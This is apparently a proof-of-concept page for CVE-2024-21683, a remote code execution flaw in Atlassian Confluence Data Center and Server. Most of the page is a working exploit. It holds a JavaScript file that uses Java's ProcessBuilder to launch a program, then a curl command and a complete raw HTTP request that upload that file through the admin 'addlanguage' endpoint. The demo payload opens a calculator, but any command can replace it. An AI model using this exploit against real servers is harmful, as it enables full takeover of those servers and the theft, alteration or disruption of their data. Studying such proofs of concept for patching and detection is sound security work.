CVE-2024-21683 PoC — Atlassian Confluence 安全漏洞

Description

This vulnerability could allow an attacker to take complete control of a vulnerable Confluence server. This could allow the attacker to steal data, modify data, or disrupt the availability of the server.

介绍

# -CVE-2024-21683-RCE-in-Confluence-Data-Center-and-Server
This vulnerability could allow an attacker to take complete control of a vulnerable Confluence server. This could allow the attacker to steal data, modify data, or disrupt the availability of the server.

## Poc
* Create a JavaScript file and give it a name (exploit.js) and put the following line
```
new java.lang.ProcessBuilder["(java.lang.String[])"](["calc.exe"]).start()
```

And send the request to upload a new language through the command
```
curl -X POST http://[IP_address]:8090/admin/plugins/newcode/addlanguage.action -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvguW5DY0BuQ87x08" -F "atl_token=[atl_token]" -F "languageFile=@exploit.js;filename=exploit.js" -F "newLanguageName=RCE"
```

### OR This Request
```
POST /admin/plugins/newcode/addlanguage.action HTTP/1.1
Host: 127.0.0.1:8090
Content-Length: 512
Cache-Control: max-age=0
sec-ch-ua: 
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:8090
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvguW5DY0BuQ87x08
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8090/admin/plugins/newcode/save.action
Accept-Encoding: gzip, deflate, br
Accept-Language: ar,en-US;q=0.9,en;q=0.8
Cookie: [Your cookies ]
Connection: close

------WebKitFormBoundaryvguW5DY0BuQ87x08
Content-Disposition: form-data; name="atl_token"

 [ atl_token ]
------WebKitFormBoundaryvguW5DY0BuQ87x08
Content-Disposition: form-data; name="languageFile"; filename="exploit.js"
Content-Type: text/javascript

new java.lang.ProcessBuilder["(java.lang.String[])"](["calc.exe"]).start()
------WebKitFormBoundaryvguW5DY0BuQ87x08
Content-Disposition: form-data; name="newLanguageName"

RCE
------WebKitFormBoundaryvguW5DY0BuQ87x08--

```


### If the vulnerability exploit is successful, the calculator opens on your device.

文件快照

备注